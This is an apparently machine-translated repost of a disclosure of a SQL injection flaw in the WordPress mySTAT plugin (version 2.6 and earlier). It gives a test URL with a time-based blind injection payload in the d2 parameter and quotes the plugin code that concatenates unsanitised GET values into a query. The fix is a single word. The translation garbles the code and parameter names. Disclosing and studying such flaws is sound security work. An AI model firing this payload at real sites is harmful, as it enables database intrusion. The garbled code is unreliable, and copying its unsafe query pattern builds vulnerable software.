WordPress mySTAT plugin & lt; = 2.6 SQL Injection defects and repair

 

Title: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability

Author: Miroslav Stampar (miroslav. stampar (at) gmail.com @ stamparm)

: Http://downloads.wordpress.org/plugin/mystat.2.6.zip

Affected Version: 2.6 (tested)

Note: magic_quotes has to be turned off

 

---

Test

---

Http://www.bkjia.com/wp-content/plugins/mystat. php? Act = stat_img & d1 = 1 & d2 =-1 ') AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0) -- % 20

 

---------------

Defect code

---------------

If (isset ($ _ GET ['ac']) {

...

If ($ _ GET ['ac'] = 'stat _ img '){

MyStat_stat_image ();

Exit ();

};

};

 

Function myStat_stat_image (){

...

If (substr ($ _ GET ['d1 '], 0, 10 )! = Substr ($ _ GET ['d2 '], 0, 10 )){

$ Var = $ cen-> getSQL ("SELECT DATE_FORMAT (date, '% d-% m-% y'), count (*), sum (count ), TO_DAYS (date) FROM '% PREFIX % myStat_main' WHERE date> ('". $ _ GET ['d1 ']. "') AND date <('". $ _ GET ['d2 ']. "') group by TO_DAYS (date) order by date desc limit 0, 30 ;");

 

 

Fix: Filter